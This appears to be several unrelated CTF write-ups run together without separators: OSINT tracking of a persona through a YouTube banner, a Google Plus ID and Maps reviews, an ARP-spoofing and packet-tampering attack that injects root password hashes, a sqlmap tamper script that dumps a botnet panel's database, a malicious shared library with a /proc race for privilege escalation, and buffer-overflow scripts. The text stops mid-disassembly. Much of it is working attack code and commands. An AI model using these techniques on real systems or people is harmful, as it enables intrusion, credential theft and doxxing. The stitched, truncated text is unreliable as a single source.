### Isabelle's Bad Opsec 4 > Isabelle hid one more secret somewhere on her youtube channel! Can you find it!?> > Finishing previous OSINT Chals will assist you with this challenge> > The first two characters of the internal of this flag are 'th', it may not be plaintext> > Additionally, the flag format may not be standard capitalization. Please be aware> > Made By: Thomas [Authors Note] I love this chal because I used it IRL to find out who someone cyberbullying a friend was. It's real OSINT -Thomas We're not given much more to go off of here except for the fact that it's somewhere on her YouTube channel. I admit that this is actually one of the more difficult OSINT challenges in this series, and was actually the one that I finished last. This was truly a subtle challenge. Looking at the YouTube channel, we notice something strange. Can you see it? ![](https://irissec.xyz/uploads/2020-07-26/img14.png) The channel banner image is very oddly cropped, to say the least. Something interesting about YouTube (and many sites, actually) is that it serves a different version of a webpage depending on your user agent. If you're on a smartphone, then the dimensions of the smartphone are taken into account and you're served a website tailored to your smaller screen. On a standard laptop monitor like mine, I'm served a version of the website tailored to my screen size. In each of these differently-tailored versions of the same website, images can likewise be cropped. Would it be possible to retrieve the full image somehow? Simply inspecting the element using the Chrome and opening up the URL to the image just brings us to the post-cropped version. ![](https://irissec.xyz/uploads/2020-07-26/img17.jpg) Upon looking at the source code of the page and looking for banners, we notice that YouTube does indeed serve different banners based on whether you're on mobile, a desktop, or a television. We can see the URL to the banner that they serve to televisions after a closer look. ![](https://irissec.xyz/uploads/2020-07-26/img18.png) Going there brings us to the flag! ![](https://irissec.xyz/uploads/2020-07-26/img19.jpg) I again must admit that this was difficult and a real step away from the obvious due to how incredibly subtle it is. What I was actually initially trying to do was use the account's Google Plus ID, a hidden artifact of a long-dead legacy in YouTube, to track Isabelle's activity across the internet, such as seeing her Google Maps reviews for instance. You can see her Google ID here, hidden away in the source code and forgotten to be scrubbed by YouTube developers for years, still leaving a legacy in the source code: ![](https://irissec.xyz/uploads/2020-07-26/img20.png) Using the Google Plus ID, `100881987903947537523`, we can track the account's activity across different Google platforms such as Maps reviews. Isabelle's can be found at [google.com/maps/contrib/100881987903947537523/reviews/](https://www.google.com/maps/contrib/100881987903947537523/reviews/). ![](https://irissec.xyz/uploads/2020-07-26/img21.png) Once again, this wasn't the solution. This was just something that I tried and discovered about Google platforms, and possibly something that I'll be incorporating into real-life OSINT engagements in the future. Imagine going to someone's YouTube channel, getting their Google Plus ID, and then getting their approximate location based on their Google Maps reviews! This might make for an interesting future challenge if any potential CTF organizers are reading this (*hint hint, nudge nudge*). **Applying the solution to real-life OSINT now,** we learn that you should explore features provided to different platforms in order to gain a fuller picture of your target. Here, different images were served to mobile, desktop, and television users. In a real-life engagement, some information might only be accessible to mobile users, or only to desktop users, or only to television users, or any other variant of this that you can think of. Snapchat, for example, is a mobile-focused platform and you won't get very far with it from your laptop. This is not to say that you need to own different devices! User-agent spoofing is very much real, as are emulators and virtual machines. Like we saw here, we were able to access information served to television devices by carefully studying the YouTube platform through inspecting the website source code.
We have shell on a linux host. Since it's network task, let's start with some network exploration: ```% sshpass -p qwerty ssh [email protected]Your team token > fJGJUx4gVhTZ9h9qXrHp-QWelcome, Team # 404Setting up your environment (20 sec without heavy load).... root@PWNED:~# ifconfigeth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.193.148.3 netmask 255.255.255.0 broadcast 10.193.148.255 ether 02:42:0a:c1:94:03 txqueuelen 0 (Ethernet) RX packets 8 bytes 656 (656.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 <snip> root@PWNED:~# nmap -sS -v -A -p- 10.193.148.1-255<snip> Nmap scan report for 10.193.148.2Host is up (0.00028s latency). PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)| ssh-hostkey:| 2048 07:48:13:a2:8c:dd:a9:1b:85:01:f6:4c:fb:10:c2:75 (RSA)| 256 85:ae:44:92:44:98:1a:63:4e:d9:06:13:fe:cf:84:6b (ECDSA)|_ 256 79:0b:80:a9:31:d5:75:fc:c1:c5:3d:ca:a6:a0:c3:d4 (ED25519)80/tcp open http nginx 1.10.3| http-methods:|_ Supported Methods: GET HEAD POST|_http-server-header: nginx/1.10.3|_http-title: Index of /MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)<snip> Nmap scan report for nf_tgt_404.net_404 (10.193.148.200)Host is up (-0.00034s latency). PORT STATE SERVICE VERSION3260/tcp open iscsi?| iscsi-info:| iqn.net.fleeks.cdn:cdn.node.root:| Address: 10.193.148.200:3260,1|_ Authentication: NOT requiredMAC Address: 02:42:0A:C1:94:C8 (Unknown)``` Looks like there is two interesting hosts in the network: `10.193.148.2` that is accessible by SSH and HTTP, and `10.193.148.200` that provodes only iSCSI target (server). Since we don't have kernel modules on given host to set up iSCSI initiator (client) and nor login information, we should probably start with exploring HTTP on first host: ```root@PWNED:~# curl 10.193.148.2<html><head><title>Index of /</title></head><body bgcolor="white"><h1>Index of /</h1><hr>../ED-CM-5.1-DVD-C.ogg 04-Jul-2008 06:27 4635596ED-CM-5.1-DVD-L.ogg 04-Jul-2008 06:39 5230715ED-CM-5.1-DVD-LFE.ogg 04-Jul-2008 06:35 473422ED-CM-5.1-DVD-LS.ogg 04-Jul-2008 06:31 4014251ED-CM-5.1-DVD-R.ogg 04-Jul-2008 06:13 5261503ED-CM-5.1-DVD-RS.ogg 04-Jul-2008 06:25 3995270ED-CM-St-16bit.ogg 04-Jul-2008 06:18 8432933Monkaa.mp4 05-Mar-2017 09:36 159358627Monkaa.ogv 05-Mar-2017 09:52 28708420README.txt 19-Jul-2020 23:42 568big_buck_bunny_720_stereo.mp4 10-Nov-2014 12:26 61825618big_buck_bunny_720_stereo.ogv 10-Nov-2014 12:44 47249764ed_1024.ogv 24-Nov-2008 04:50 45617852ed_hd.mp4 03-Nov-2014 00:43 67801890<hr></body></html>root@PWNED:~# curl 10.193.148.2/README.txt __ __ _____ __ _ _ /\ \ \/__\/__ \ / _| | ___ ___| | _____ / \/ /_\ / /\/ | |_| |/ _ \/ _ \ |/ / __| / /\ //__ / / | _| | __/ __/ <\__ \ \_\ \/\__/ \/ |_| |_|\___|\___|_|\_\___/ Welcome to NET fleeks CDN! This is a standard NET fleeks CDN node. * 128 MB RAM* x64 architecture* Diskless* Has flag on it, since no-one can get root on this secure machine* For inquiries on selling us small servers call 1-800-FLEEKHW Enjoy the movies!``` Key points here:* The flag is on this node* It presumably has no persistent storage* The machine has not that much RAM (that would become important a bit later) So, we need to get shell (likely, root) access to that machine. Since that node do not have disks, it probably uses iSCSI as root disk, containing rootfs. We don't know its iSCSI `iqn` name, so we can't simply mount iSCSI disk and read data from there (this iSCSI server does not have authentication or encryption, but it checks peer node name). Instead, we could act smarter. We're on the same L2 network with these hosts, so we could perform an ARP spoofing attack to route all traffic between them, so we could intercept and tamper with the flowing data. _Fortunately_, we do have raw access to network interface, iptables and IPv4 forwarding is enabled. Alrighty, let's get down to business.```root@PWNED:~# arp -a? (10.193.148.2) at 52:54:00:12:34:56 [ether] on eth0? (10.193.148.1) at 02:42:97:6f:e3:26 [ether] on eth0nf_tgt_404.net_404 (10.193.148.200) at 02:42:0a:c1:94:c8 [ether] on eth0 root@PWNED:~# apt install python-scapy root@PWNED:~# cat > 1.pyfrom scapy.all import *target = '10.193.148.2'target_mac = '52:54:00:12:34:56'target2 = '10.193.148.200'target2_mac = '02:42:0a:c1:94:c8' arp=ARP(op=1,psrc=target2,pdst=target,hwdst=target_mac)arp2=ARP(op=1,psrc=target,pdst=target2,hwdst=target2_mac)while 1: send(arp) send(arp2) root@PWNED:~# python 1.pySent 1 packets..Sent 1 packets..<snip>``` Cool, now all traffic between these hosts is running through us. We could poke around the first host (try to login over ssh, download some files via HTTP) and look at traffic in tcpdump. There would be many data flowing. As we could see, there is no password hashes in /etc/{passwd,shadow}. There is several further approaches here. I think the simplest one would be to modify `/etc/passwd` and `/etc/shadow` to include password for `root` and some other (say, `www-data`) users (as it would turn out, login for root is disabled, and that is simply circumvented by logging in as other user)."_These files are small and will be cached in Linux page cache_", you would say. Yes, _but_ there is several large enough files accessible over HTTP and the RAM size on that machine is small enough. _Coincidence_. So, the attack plan looks like that:* Set up packet modification* Evict page cache by downloading large files* Try to log in as `www-data` over SSH* Escalate privileges via `su` Packet modification could be performed using nfqueue and some tool utilizing this interface. For example, there is [nfqsed](https://github.com/rgerganov/nfqsed). I modified it a little to allow specifying newlines in replace rules: ```root@PWNED:~# apt install build-essential git libnetfilter-queue-dev<snip>root@PWNED:~# git clone https://github.com/rgerganov/nfqsedCloning into 'nfqsed'...remote: Enumerating objects: 1, done.remote: Counting objects: 100% (1/1), done.remote: Total 38 (delta 0), reused 0 (delta 0), pack-reused 37Unpacking objects: 100% (38/38), done.root@PWNED:~# cd nfqsed/<patch manually>root@PWNED:~/nfqsed# git diff -U0diff --git a/nfqsed.c b/nfqsed.cindex fffa0ee..c832c74 100644--- a/nfqsed.c+++ b/nfqsed.c@@ -105 +105 @@ void print_rule(const struct rule_t *rule)-void add_rule(const char *rule_str)+void add_rule(char *rule_str)@@ -124,0 +125,4 @@ void add_rule(const char *rule_str)+ for (int i = 0; i < length; ++i) {+ if (rule_str[i+1] == '%') rule_str[i+1] = '\n';+ if (rule_str[i+2+length] == '%') rule_str[i+2+length] = '\n';+ } root@PWNED:~/nfqsed# makegcc -Wall -c nfqsed.cgcc nfqsed.o -o nfqsed -lnetfilter_queue``` Now, we'll start modifying traffic (before adding actual iptables rule, since otherwise that could ruin existing TCP connection and effectively send first host offline, there is no reconnects, for some reason).Here, we're changing hashes for `root` and `www-data` to 123 (`echo '123' | openssl passwd -1 -stdin`), and changing shell for `www-data` to `/bin/bash`. Note that we need to preserve packet lengths to not break streams, so we'll erase some other accounts by replacing them with newlines: ```root@PWNED:~# ./nfqsed -v \ -s '|root:x:0:0:root:/root:/bin/bash%daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin|root:$1$p/lZGfRu$DmRu2K3X3nHwS6DpSA7z5.:0:0:root:/root:/bin/bash%%%%%%%%%%%%%%%' \ -s '|root:*:18465:0:99999:7:::%daemon:*:18465:0:99999:7:::%bin:*:18465:0:99999:7:::|root:$1$p/lZGfRu$DmRu2K3X3nHwS6DpSA7z5.:18465:0:99999:7:::%%%%%%%%%%%%%%%%%%%%' \ -s '|www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin%backup:x:34:34:backup:/var/backups:/usr/sbin/nologin|www-data:$1$p/lZGfRu$DmRu2K3X3nHwS6DpSA7z5.:33:33:www-data:/var/www:/bin/bash%%%%%%%%%%%%%%%%%%%%%%%%%%%%' \ -s '|www-data:*:18465:0:99999:7:::%backup:*:18465:0:99999:7:::%list:*:18465:0:99999:7:::|www-data:$1$p/lZGfRu$DmRu2K3X3nHwS6DpSA7z5.:18465:0:99999:7:::%%%%%%%%%%%%%%%%%%%%%'``` Next, let's evict page cache:```root@PWNED:~/nfqsed# curl 10.193.148.2/big_buck_bunny_720_stereo.mp4 > /dev/null; curl 10.193.148.2/ed_hd.mp4 > /dev/null; curl 10.193.148.2/Monkaa.mp4 > /dev/null % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 58.9M 100 58.9M 0 0 53.4M 0 0:00:01 0:00:01 --:--:-- 53.4M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 64.6M 100 64.6M 0 0 52.8M 0 0:00:01 0:00:01 --:--:-- 52.8M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 151M 100 151M 0 0 51.7M 0 0:00:02 0:00:02 --:--:-- 51.7M``` And finally, we'll start tampering packets by sending them to the nfqueue: `root@PWNED:~# iptables -A FORWARD -s 10.193.148.200 -d 10.193.148.2 -m string --algo bm --string ":/" -j QUEUE` Note the string filter. This prevents nfqsed from crashing. For some reason, it can't process large amounts of data simultaneously. And, if everything goes well, we could log in as `www-data` with password `123` and escalate the privileges:```root@PWNED:~# ssh [email protected]The authenticity of host '10.193.148.2 (10.193.148.2)' can't be established.ECDSA key fingerprint is SHA256:Tcnbd71C0mrpc1mkZKDApyQyueMCO6YZEcLE/GyKxOo.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '10.193.148.2' (ECDSA) to the list of known hosts.[email protected]'s password:Linux fleekscdn 4.9.0-13-amd64 #1 SMP Debian 4.9.228-1 (2020-07-05) x86_64 The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.www-data@fleekscdn:~$ suPassword:root@fleekscdn:/var/www# cdroot@fleekscdn:~# lsWaving_Flag.mp4``` Here is the video: [Waving_Flag.mp4](https://files.catbox.moe/2iczer.mp4). ![](https://imgur.com/CTiWcMv.png)
So, we have a memory dump. Let's spin up [volatility](https://github.com/volatilityfoundation/volatility)! ```bash% python vol.py imageinfo -f ../20200724.memVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/Users/ilyaluk/ctf/cybrics20/botmaster/20200724.mem) PAE type : PAE DTB : 0x185000L KDBG : 0x8276cc68L Number of Processors : 2 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x8276dd00L KPCR for CPU 1 : 0x807cc000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2020-07-24 15:44:22 UTC+0000 Image local date and time : 2020-07-24 18:44:22 +0300 % python vol.py --profile=Win7SP1x86_23418 -f ../20200724.mem pstreeVolatility Foundation Volatility Framework 2.6.1Name Pid PPid Thds Hnds Time-------------------------------------------------- ------ ------ ------ ------ ---- 0x83d3acf0:System 4 0 84 549 2020-07-24 15:39:17 UTC+0000. 0x84405418:smss.exe 228 4 2 30 2020-07-24 15:39:17 UTC+0000 0x843a4638:csrss.exe 308 288 9 419 2020-07-24 15:39:23 UTC+0000 0x84b14d28:wininit.exe 352 288 5 81 2020-07-24 15:39:24 UTC+0000. 0x84b46250:services.exe 456 352 7 200 2020-07-24 15:39:26 UTC+0000.. 0x84bf0b08:svchost.exe 812 456 20 469 2020-07-24 15:39:31 UTC+0000... 0x84330508:audiodg.exe 960 812 6 131 2020-07-24 15:39:33 UTC+0000.. 0x84c42b70:svchost.exe 1036 456 23 520 2020-07-24 15:39:34 UTC+0000.. 0x84d00a48:svchost.exe 1436 456 24 381 2020-07-24 15:39:39 UTC+0000.. 0x84cbf7e0:svchost.exe 1316 456 18 315 2020-07-24 15:39:37 UTC+0000.. 0x84d943b8:svchost.exe 1836 456 5 98 2020-07-24 15:39:44 UTC+0000.. 0x84e7f770:SearchIndexer. 2060 456 11 633 2020-07-24 15:39:59 UTC+0000... 0x83f4fd28:SearchFilterHo 1732 2060 6 93 2020-07-24 15:43:25 UTC+0000... 0x843ac030:SearchProtocol 2836 2060 7 278 2020-07-24 15:43:25 UTC+0000.. 0x83f4b648:svchost.exe 2224 456 12 340 2020-07-24 15:41:46 UTC+0000.. 0x84b82030:svchost.exe 564 456 11 360 2020-07-24 15:39:29 UTC+0000... 0x83f72550:WmiPrvSE.exe 716 564 9 123 2020-07-24 15:41:49 UTC+0000... 0x83fe2d28:WmiPrvSE.exe 3512 564 7 167 2020-07-24 15:42:40 UTC+0000.. 0x84b98358:svchost.exe 692 456 8 275 2020-07-24 15:39:31 UTC+0000.. 0x84d34978:taskhost.exe 1996 456 8 187 2020-07-24 15:39:45 UTC+0000.. 0x84bf9c70:svchost.exe 844 456 19 397 2020-07-24 15:39:32 UTC+0000... 0x84e25030:dwm.exe 924 844 3 67 2020-07-24 15:39:48 UTC+0000.. 0x83f5e198:wmpnetwk.exe 284 456 13 435 2020-07-24 15:41:47 UTC+0000.. 0x83efcac0:sppsvc.exe 336 456 4 144 2020-07-24 15:41:46 UTC+0000... 0x84b13030:csrss.exe 344 336 8 236 2020-07-24 15:39:24 UTC+0000.... 0x83fc5998:conhost.exe 2272 344 2 35 2020-07-24 15:44:21 UTC+0000... 0x84b12418:winlogon.exe 380 336 5 137 2020-07-24 15:39:25 UTC+0000.. 0x84bfebb8:svchost.exe 872 456 38 1060 2020-07-24 15:39:32 UTC+0000... 0x83fee7b8:wuauclt.exe 3908 872 5 92 2020-07-24 15:42:55 UTC+0000.. 0x84c60348:svchost.exe 1132 456 16 384 2020-07-24 15:39:35 UTC+0000.. 0x84b8d470:VBoxService.ex 628 456 12 117 2020-07-24 15:39:30 UTC+0000.. 0x84ca0030:spoolsv.exe 1272 456 12 296 2020-07-24 15:39:37 UTC+0000. 0x84b4d030:lsass.exe 464 352 9 575 2020-07-24 15:39:26 UTC+0000. 0x84b4e928:lsm.exe 472 352 11 146 2020-07-24 15:39:26 UTC+0000 0x84dee408:explorer.exe 1388 468 42 1124 2020-07-24 15:39:48 UTC+0000. 0x84e8e908:bot.exe 2444 1388 4 142 2020-07-24 15:40:45 UTC+0000. 0x84f19360:RamCapture.exe 3296 1388 3 63 2020-07-24 15:44:21 UTC+0000. 0x84e750e0:VBoxTray.exe 1988 1388 13 171 2020-07-24 15:39:53 UTC+0000``` Huh, `bot.exe`. Seems suspicious. Let's dump the binary and take a look:```bash% python vol.py --profile=Win7SP1x86_23418 -f ../20200724.mem procdump -p 2444 -D dumpVolatility Foundation Volatility Framework 2.6.1Process(V) ImageBase Name Result---------- ---------- -------------------- ------0x84e8e908 0x011d0000 bot.exe OK: executable.2444.exe``` While skimming through the strings in this binary we stumble across something that seems like C&C server IP, some urls and HTTP implementation strings:```95.217.215.227/gatelocalhost/UBoat/gate.phpX-TokenX-IdPOSTHTTP Response Code%s %s HTTP/1.0Content-Type: application/x-www-form-urlencoded``` As it turns out this is an open-source botnet named [U-Boat](https://github.com/UBoat-Botnet/UBoat). I ran a small [Dirb](https://tools.kali.org/web-applications/dirb) scan that yielded several pages, and most interesting one was `/login` (of course, that could be acheived through reading the [panel source code](https://github.com/UBoat-Botnet/UBoat-Panel) or pure guessing): ![](https://i.imgur.com/E34SL0W.png) Oh, [download for my friends](http://95.217.215.227/Panel_for_friends.zip). How cool is that? Let's download this and check for diffs between it and latest version from the repo: ```% diff -rupw UBoat-Panel Panel_for_friends``` The most suspicous patch occurs around crafting some SQL query: ![](https://i.imgur.com/gISCIQn.png) That looks like intentional SQL-injection. So, how to trigger it? This code handles heartbeats from bots. For instance, it is called from main `/gate` handler. ```php$heart = $this->loadHelper('heartbeat');$encrypted = $_POST['x'];$key = getallheaders()['X-Token'];$decrypted = $this->BoatDecryptionRoutine($encrypted, $key); $commandData = null;$commandType = null; $commandId = $this->ParseCommand($decrypted, $commandData, $commandType); $output = $this->CreateCommand(-1, -1, 'This will terminate the app.'); switch ($commandType) { case 0: //its a join //handle the db incertion $ip = null; if (! empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (! empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } $_dbcommand = $commandData; $_dbcommand .= '@'.$ip; $ip = $geo_helper->GetCountryFromAddress($ip); $_dbcommand .= '@'.$ip['country_name'].'@'.$ip['country_code']; $botId = $heart->beat($heart->splitToArray($_dbcommand)); $output = $this->CreateCommand(-1, 0, $botId); break;``` Simple encryption is utilized here: ```phpprivate function ParseCommand($rawData, &$data, &$commandType){ $splitInfo = explode('|', $rawData); $data = urldecode($splitInfo[2]); $commandType = (int) $splitInfo[1]; return (int) $splitInfo[0];} private function XORInputKey($input, $key, $inputLength, $keyLength){ $output = []; for ($i = 0; $i < $inputLength; ++$i) { $output[] = $input[$i] ^ $key[$i % $keyLength]; } return $output;} //we'll use this xor shit kk private function BoatDecryptionRoutine($input, $key){ $output = str_split(urldecode($input)); $key = str_split(urldecode($key)); $output = $this->XORInputKey($output, $key, count($output), count($key)); return implode($output);}``` Let's write a simple tamper script for sqlmap: ```pythonimport base64 def xor(data): return ''.join(chr(ord(i) ^ ord('1')) for i in data) def tamper(payload, **kwargs): x = '0|0|{bbed3e02-0b41-11e3-8249-806e6f6e6963}@Microsoft Windows 8@Intel(R) Core(TM)@2.90GHz@NVIDIA GeForce GTX [email protected]@false@1' + payload return xor(x)``` From `src/uboat.sql` we know that password is stored in plaintext in `user` table of `uboat` DB. So, this should do the trick. `% sqlmap -u 'http://95.217.215.227/gate' --headers='X-Token:1' --data "x=1" -p "x" --method POST --tamper tamper.py -D uboat -T user -C username,password --dump````Database: uboatTable: user[1 entry]+----------+-------------+| username | password |+----------+-------------+| root | p@$$w0Rd123 |+----------+-------------+``` Neat, let's login to the dashboard: ![](https://i.imgur.com/feXSPZr.png) Vurtualbox machine on Win7 looks like what we need. For some reason, I could not use U-Boat's UI for reading logs (right-click on bot → read logs), so let's poke around that using curl and using knowledge of panel source code: ```% curl 'http://95.217.215.227/tasks/readLog' \ --data 'bot=57' \ -H 'Cookie: PHPSESSID=1c391ad1cc0663425b41b46c75db61db' Left Windowsrnotepad[Enter] cybrics{be_safe_from_bots}[Enter] [Enter]``` > `cybrics{be_safe_from_bots}`
First of all, we can figure out that there's a cronjob running every minute and launching following Python script: ```#!/usr/bin/python3import os DIR = "/opt/data/" for f in os.listdir(DIR): if f[:3] != "lib" or ".so" not in f: continue # not a library try: # prevent race conditions newLib = open(DIR + f, "rb") # verify owner is root and not writable by anyone else if os.fstat(newLib.fileno()).st_uid != 0: continue if (os.fstat(newLib.fileno()).st_mode & 0o22) != 0: continue newContent = newLib.read() newLib.close() # verify it's an ELF if newContent[:4] != b'\x7f\x45\x4c\x46': continue # verify target is an existing library newPath = "/lib/x86_64-linux-gnu/" + f if not os.path.isfile(newPath): continue # verify the content is new oldLib = open(newPath, "rb") oldContent = oldLib.read() oldLib.close() if oldContent == newContent: continue # write the new content newLib = open(newPath + "-", "wb") newLib.write(newContent) newLib.close() # exchange the libraries os.rename(newPath, newPath + "~") os.rename(newPath + "-", newPath) os.unlink(newPath + "~") # deployment complete os.unlink(DIR + f) except: pass``` It looks into 777-directory `/opt/data` and copies root-owned files, which are non-writable for group and for others, to `/lib/x86_64-linux-gnu`. So the attack vector is clear: create such file from root with hacked library and then wait for `/bin/bash` starts during next launch of cronjob. I've choosed `libdl.so` to hijack because, it is lightweight and used by bash. I've crafted small fake .so file, which runs code at startup using `.init` section. Here it is:```#include <stdio.h>#include <unistd.h>#include <sys/stat.h> __attribute__ ((constructor)) void sploit() { rename("/root/flag", "/flag"); chmod("/flag", 0777);} void dlopen() {} void dlclose() {} void dlsym() {} void dlerror() {}``` To compile: `gcc -c -fPIC lib.c -o lib.o && gcc lib.o -shared -o libdl.so.2`. Ok, now we need to create file belonging to root with specific permissions. How to do that? Well, if SUID process starts, files in `/proc/.../*` have root owner. So we can start `/usr/bin/su` with such environment variables that `/proc/.../environ` contains the payload. But inside docker container it's impossible to read that pseudofile. So we need another way to that. After several minutes research I've found `/proc/.../cmdline`. But su fails immediately if pass invalid arguments. I've ended up with tricky race condition to bypass this:1. fork + execve `/usr/bin/su` with crafted argv.2. Busy-wait a little via `sched_yield`.3. Send `SIGSTOP` to freeze su process while it is validating arguments. Python script for crafting `/proc/.../cmdline`. It uses idea that each argument from `argv` is written with trailing `\0`. So, empty string represents single zero byte.```with open("libdl.so.2", "rb") as f: content = f.read() chunks = []chunk = b""for ch in content: if ch == 0: chunks.append(chunk) chunk = b"" else: chunk += bytes([ch])chunks.append(chunk) def f(chunk): return '"{}"'.format("".join(map(lambda x: "\\x" + hex(x)[2:], chunk))) print("{", ", ".join(map(f, chunks)), "}") ``` Final exploit was:```#include <unistd.h>#include <stdio.h>#include <signal.h>#include <sched.h>#include <sys/wait.h> int main() { // empty string = zero byte char* argv[] = { "\x7f\x45\x4c\x46\x2\x1\x1", "", "", "", "", "", "", "", /* payload */, NULL }; char* envp[] = { "\x7f\x45\x4c\x46", NULL }; for (;;) { char buf[1000]; pid_t pid = fork(); if (pid == 0) { execve("/usr/bin/su", argv, envp); } else { for (size_t i = 0; i < 100; i++) { sched_yield(); } kill(pid, SIGSTOP); int n = sprintf(buf, "/proc/%d/cmdline", pid); buf[n] = '\0'; char l[] = "/opt/data/libdl-2.31.so"; unlink(l); symlink(buf, l); wait(NULL); } } return 0;} ``
For this challenge we are given an executable which asks for some input on startup. Let's decompile it with [`r2ghidra-dec`](https://github.com/radareorg/r2ghidra-dec) -- a [Ghidra](https://ghidra-sre.org/) decompiler integration into [radare](https://www.radare.org/r/). ```cundefined8 main(void){ char *s; uint32_t var_4h; var_4h = 0; sym.imp.setbuf(_reloc.stdout, 0); sym.imp.setbuf(_reloc.stdin, 0); sym.imp.setbuf(_reloc.stderr, 0); sym.imp.puts("Please pour me some coffee:"); sym.imp.gets(&s); sym.imp.puts("\nThanks!\n"); if (var_4h != 0) { sym.imp.puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it."); sym.imp.system("cat flag.txt"); } return 0;}```Something to note is that if we were to use [Ghidra](https://ghidra-sre.org/), it would show something like `char s [44];`, but let's find this out using [radare](https://www.radare.org/r/) and see how these two variables are placed one after the other on the stack.```r2┌ 158: int main (int argc, char **argv, char **envp);│ ; var char *s @ rbp-0x30│ ; var uint32_t var_4h @ rbp-0x4│ 0x00401156 55 push rbp│ 0x00401157 4889e5 mov rbp, rsp│ 0x0040115a 4883ec30 sub rsp, 0x30│ 0x0040115e c745fc000000. mov dword [var_4h], 0│ ; <redacted>, Sets up stdio buffers and prompts for input │ 0x004011ad 488d45d0 lea rax, [s]│ 0x004011b1 4889c7 mov rdi, rax ; char *s│ 0x004011b4 b800000000 mov eax, 0│ 0x004011b9 e8a2feffff call sym.imp.gets ;[3] ; char *gets(char *s)│ 0x004011be 488d3d5f0e00. lea rdi, str.Thanks ; 0x402024 ; "\nThanks!\n" ; const char *s│ 0x004011c5 e866feffff call sym.imp.puts ;[2] ; int puts(const char *s)│ 0x004011ca 837dfc00 cmp dword [var_4h], 0│ ┌─< 0x004011ce 741d je 0x4011ed│ │ ; <redacted>, Flag is printed here│ └─> 0x004011ed b800000000 mov eax, 0│ 0x004011f2 c9 leave└ 0x004011f3 c3 ret``` At the very start we see the two variables, `s` and `var_4h` defined by [radare](https://www.radare.org/r/) with offsets off `rbp` and then assigned to in assembly below:```r2; var char *s @ rbp-0x30; var uint32_t var_4h @ rbp-0x40x0040115e c745fc000000. mov dword [var_4h], 00x004011ad 488d45d0 lea rax, [s]``` It's clear that the size of them together is `0x30`:```r20x0040115a 4883ec30 sub rsp, 0x30``` `s` is placed at the start with offset `rbp - 0x30` and then `var_4h` is placed at `rbp - 0x4`. This means that the `s` buffer which we control is of size `0x30 - 0x4 = 0x2c` or `44` in decimal. Thus, we can overflow this buffer with the vulnerable `gets()` call and overwrite `var_4h` by sending 44 bytes followed by our new value for `var_4h`. The flag is printed if `var_4h` is no longer 0, so overwriting it with anything but null bytes should do the trick. The comparison can be seen here:```r20x004011ca 837dfc00 cmp dword [var_4h], 0``` The flag we get is: `csictf{y0u_ov3rfl0w3d_th@t_c0ff33l1ke@_buff3r}`
### Isabelle's Bad Opsec 5 > Isabelle had one more secret on her youtube account, but it was embarrassing.> > Finishing previous OSINT Chals will assist you with this challenge> > The first two characters of the internal of this flag are 'hi', it may not be plaintext> > The flag capitalization may be different, please be aware The words that pop out to me here are "had" and "was." These words imply that this secret used to be there, but isn't anymore. Is there a way to access previous versions of a web page? Yes, yes there is! The [Wayback Machine](https://archive.org/) is a project by Archive.org that saves snapshots of web pages at different points in time. Let's see if a historical snapshot of her YouTube channel is available. As of writing this, the snapshot has unfortunately been removed so I cannot provide a screenshot. However, the solution was to view the historical snapshot of the site and the flag is hidden in the URL of the "My website" link seen in Opsec 2. The flag this time was `UIUCTF{hidd3n_buT_neVeR_g0n3}`. **In real-life OSINT engagements,** we learn that it's possible to recover historical data on the internet. If a website tried to "scrub" some data, it's possible that a snapshot of it pre-scrub might be saved somewhere on the internet. Viewing this historical snapshot can uncover things like addresses, links, incriminating texts and documents, etc.
This problem is nearly identical to [the last](https://ctftime.org/task/12463) with the only difference being the final comparison. It now checks `var_4h` for the value `0xcafebabe` instead of `0`.```r20x004011ca 817dfcbebafe. cmp dword [var_4h], 0xcafebabe``` To make our final exploit, we can either use 44 bytes followed by `\xbe\xba\xfe\xca` (which is `0xcafebabe` with the correct endianness). Personally, I like using [pwntools](https://github.com/Gallopsled/pwntools/) to do the conversion which makes the script below. `p32` is used to convert the 32-bit address to the bytes described.```pyfrom pwn import * p = process("./pwn-intended-0x2")p = remote("chall.csivit.com", 30007) # Remove for local testingp.sendline(b"A" * 44 + p32(0xcafebabe))p.interactive()``` We get the flag: `csictf{c4n_y0u_re4lly_telep0rt?}`
checksec outputs the following: Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) Looking at the executable, there is not much going on. The main() function simply calls vuln(), which is the following in C: void vuln(void){ char buf[10]; read(0,buf,0xaa);} This is a simple buffer overflow to overwrite the base pointer and return pointer. Immediately we have a problem: no gadgets to edit rdx, and no gadgets to make a syscall. Recall that NX is enabled, which means we can't load shellcode easily. mprotect() requires a syscall gadget anyway. To get around this, we make an educated guess that the read() libc function uses the syscall instruction, and hope it's close enough to the beginning of the function that we can overwrite the lowest byte of read()'s GOT entry to point it to the syscall. Disassembling the read(), we get: ;-- read: 0x00110180 488d0571072e. lea rax, [0x003f08f8] 0x00110187 8b00 mov eax, dword [rax] 0x00110189 85c0 test eax, eax ,=< 0x0011018b 